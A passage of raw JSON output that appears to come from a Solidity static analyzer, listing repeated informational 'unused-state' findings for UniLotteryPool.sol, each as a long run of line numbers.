1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811, 1812, 1813, 1814, 1815, 1816, 1817, 1818, 1819, 1820, 1821, 1822, 1823, 1824, 1825, 1826, 1827, 1828, 1829, 1830, 1831, 1832, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047, 2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 2375, 2376, 2377, 2378, 2379, 2380, 2381, 2382, 2383, 2384, 2385, 2386, 2387, 2388, 2389, 2390, 2391, 2392, 2393, 2394, 2395, 2396, 2397, 2398, 2399, 2400, 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410, 2411, 2412, 2413, 2414, 2415, 2416, 2417, 2418, 2419, 2420, 2421, 2422, 2423, 2424, 2425, 2426, 2427, 2428, 2429, 2430, 2431, 2432, 2433, 2434, 2435, 2436, 2437, 2438, 2439, 2440, 2441, 2442, 2443, 2444, 2445, 2446, 2447, 2448, 2449, 2450, 2451, 2452, 2453, 2454, 2455, 2456, 2457, 2458, 2459, 2460, 2461, 2462, 2463, 2464, 2465, 2466, 2467, 2468, 2469, 2470, 2471, 2472, 2473, 2474, 2475, 2476, 2477, 2478, 2479, 2480, 2481, 2482, 2483, 2484, 2485, 2486, 2487, 2488, 2489, 2490, 2491, 2492, 2493, 2494, 2495, 2496, 2497, 2498, 2499, 2500, 2501, 2502, 2503, 2504, 2505, 2506, 2507, 2508, 2509, 2510, 2511, 2512, 2513, 2514, 2515, 2516, 2517, 2518, 2519, 2520, 2521, 2522, 2523, 2524, 2525, 2526, 2527, 2528, 2529, 2530, 2531, 2532, 2533, 2534, 2535, 2536, 2537, 2538, 2539, 2540, 2541, 2542, 2543, 2544, 2545, 2546, 2547, 2548, 2549, 2550, 2551, 2552, 2553, 2554, 2555, 2556, 2557, 2558, 2559, 2560, 2561, 2562, 2563, 2564, 2565, 2566, 2567, 2568, 2569, 2570, 2571, 2572, 2573, 2574, 2575, 2576, 2577, 2578, 2579, 2580, 2581, 2582, 2583, 2584, 2585, 2586, 2587, 2588, 2589, 2590, 2591, 2592, 2593, 2594, 2595, 2596, 2597, 2598, 2599, 2600, 2601, 2602, 2603, 2604, 2605, 2606, 2607, 2608, 2609, 2610, 2611, 2612, 2613, 2614, 2615, 2616, 2617, 2618, 2619, 2620, 2621, 2622, 2623, 2624, 2625, 2626, 2627, 2628, 2629, 2630, 2631, 2632, 2633, 2634, 2635, 2636, 2637, 2638, 2639, 2640, 2641, 2642, 2643, 2644, 2645, 2646, 2647, 2648, 2649, 2650, 2651, 2652, 2653, 2654, 2655, 2656, 2657, 2658, 2659, 2660, 2661, 2662, 2663, 2664, 2665, 2666, 2667, 2668, 2669, 2670, 2671, 2672, 2673, 2674, 2675, 2676, 2677, 2678, 2679, 2680, 2681, 2682, 2683, 2684, 2685, 2686, 2687, 2688, 2689, 2690, 2691, 2692, 2693, 2694, 2695, 2696, 2697, 2698, 2699, 2700, 2701, 2702, 2703, 2704, 2705, 2706, 2707, 2708, 2709, 2710, 2711, 2712, 2713, 2714, 2715, 2716, 2717, 2718, 2719, 2720, 2721, 2722, 2723, 2724, 2725, 2726, 2727, 2728, 2729, 2730, 2731, 2732, 2733, 2734, 2735, 2736, 2737, 2738, 2739, 2740, 2741, 2742, 2743, 2744, 2745, 2746, 2747, 2748, 2749, 2750, 2751, 2752, 2753, 2754, 2755, 2756, 2757, 2758, 2759, 2760, 2761, 2762, 2763, 2764, 2765, 2766, 2767, 2768, 2769, 2770, 2771, 2772, 2773, 2774, 2775, 2776, 2777, 2778, 2779, 2780, 2781, 2782, 2783, 2784, 2785, 2786, 2787, 2788, 2789, 2790, 2791, 2792, 2793, 2794, 2795, 2796, 2797, 2798, 2799, 2800, 2801, 2802, 2803, 2804, 2805, 2806, 2807, 2808, 2809, 2810, 2811, 2812, 2813, 2814, 2815, 2816, 2817, 2818, 2819, 2820, 2821, 2822, 2823, 2824, 2825, 2826, 2827, 2828, 2829, 2830, 2831, 2832, 2833, 2834, 2835, 2836, 2837, 2838, 2839, 2840, 2841, 2842, 2843, 2844, 2845, 2846, 2847, 2848, 2849, 2850, 2851, 2852, 2853, 2854, 2855, 2856, 2857, 2858, 2859, 2860, 2861, 2862, 2863, 2864, 2865, 2866, 2867, 2868, 2869, 2870, 2871, 2872, 2873, 2874, 2875, 2876, 2877, 2878, 2879, 2880, 2881, 2882, 2883, 2884, 2885, 2886, 2887, 2888, 2889, 2890, 2891, 2892, 2893, 2894, 2895, 2896, 2897, 2898, 2899, 2900, 2901, 2902, 2903, 2904, 2905, 2906, 2907, 2908, 2909, 2910, 2911, 2912, 2913, 2914, 2915, 2916, 2917, 2918, 2919, 2920, 2921, 2922, 2923, 2924, 2925, 2926, 2927, 2928, 2929, 2930, 2931, 2932, 2933, 2934, 2935, 2936, 2937, 2938, 2939, 2940, 2941, 2942, 2943, 2944, 2945, 2946, 2947, 2948, 2949, 2950, 2951, 2952, 2953, 2954, 2955, 2956, 2957, 2958, 2959, 2960, 2961, 2962, 2963, 2964, 2965, 2966, 2967, 2968, 2969, 2970, 2971, 2972, 2973, 2974, 2975, 2976, 2977, 2978, 2979, 2980, 2981, 2982, 2983, 2984, 2985, 2986, 2987, 2988, 2989, 2990, 2991, 2992, 2993, 2994, 2995, 2996, 2997, 2998, 2999, 3000, 3001, 3002]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 